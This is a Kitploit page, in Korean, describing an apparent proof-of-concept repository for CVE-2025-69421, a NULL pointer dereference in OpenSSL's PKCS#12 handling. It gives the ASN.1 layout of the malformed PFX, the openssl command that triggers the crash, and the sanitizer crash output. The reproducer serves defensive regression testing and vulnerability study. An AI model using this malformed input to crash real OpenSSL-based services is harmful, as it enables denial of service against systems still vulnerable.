PoC-CVE-2025-69421 — CVE-2025-69421 최소 재현 도구로, encryptedContent 필드가 없는 변형된 PFX 파일을 통해 OpenSSL PKCS#12 처리에서 NULL 포인터 역참조를 시연합니다. 생성 스크립트, ASN.1 검사, UBSan으로 유발된 크래시 출력을 포함하여 방어적 회귀 테스트에 사용됩니다. | Kitploit

CVE-2025-69421 충돌 전용 재현기

이 저장소는 격리된 실험실 환경에서 CVE-2025-69421을 재현하는 최소한의 잘못된 형식의 PKCS#12 파일을 포함합니다.

생성된 PFX에는 선택적 encryptedContent 필드가 생략된 EncryptedData의 EncryptedContentInfo가 포함됩니다. 취약한 OpenSSL 버전은 PKCS12_unpack_p7encdata()에서 NULL ASN1_OCTET_STRING 포인터를 PKCS12_item_decrypt_d2i_ex()로 전달할 수 있으며, 이 함수는 NULL 검사 없이 역참조합니다.

이 재현기는 서비스 거부(DoS) 조건만 시연합니다. 코드 실행이나 정보 유출을 수행하지 않습니다.

저장소 내용

.
├── README.md
├── LICENSE
├── Makefile
├── generate.py
├── run.sh
├── malformed-cve-2025-69421.p12
└── evidence
    └── ubsan-output.txt

요구 사항

PFX
├── version = 3
└── authSafe: ContentInfo(data)
    └── OCTET STRING
        └── AuthenticatedSafe
            └── ContentInfo(encryptedData)
                └── EncryptedData
                    ├── version = 0
                    └── EncryptedContentInfo
                        ├── contentType = data
                        ├── algorithm = pbeWithSHA1And3-KeyTripleDES-CBC
                        └── encryptedContent = absent

export OPENSSL_BUILD=/path/to/openssl-build
export OPENSSL_BIN="$OPENSSL_BUILD/apps/openssl"

ASAN_OPTIONS='abort_on_error=1:halt_on_error=1:detect_leaks=0:symbolize=1' \
UBSAN_OPTIONS='halt_on_error=1:print_stacktrace=1' \
LD_LIBRARY_PATH="$OPENSSL_BUILD" \
"$OPENSSL_BIN" pkcs12 \
  -in malformed-cve-2025-69421.p12 \
  -info \
  -noout \
  -passin pass:test

Warning: MAC is absent!
PKCS7 Encrypted data: pbeWithSHA1And3-KeyTripleDES-CBC, Iteration 1
crypto/pkcs12/p12_decr.c:140:66: runtime error: member access within null pointer of type 'const struct ASN1_OCTET_STRING'
    #0 0x... in PKCS12_item_decrypt_d2i_ex (/path/to/openssl-build/libcrypto.so.3+0x...)
    #1 0x... in PKCS12_unpack_p7encdata (/path/to/openssl-build/libcrypto.so.3+0x...)
    #2 0x... in dump_certs_keys_p12 (/path/to/openssl-build/apps/openssl+0x...)
    #3 0x... in pkcs12_main (/path/to/openssl-build/apps/openssl+0x...)

CVE: CVE-2025-69421
Component: OpenSSL PKCS#12 processing
Trigger: EncryptedData with absent encryptedContent
Fault: NULL pointer dereference
Function: PKCS12_item_decrypt_d2i_ex()
Reachable through: PKCS12_unpack_p7encdata()
Impact: Denial of Service

PoC-CVE-2025-69421

인기

잘못된 형식의 PKCS#12 파일 생성

ASN.1 구조 검사

재현기 실행

취약한 빌드에서 예상 결과

수정된 빌드에서 예상 결과

기술 요약

면책 조항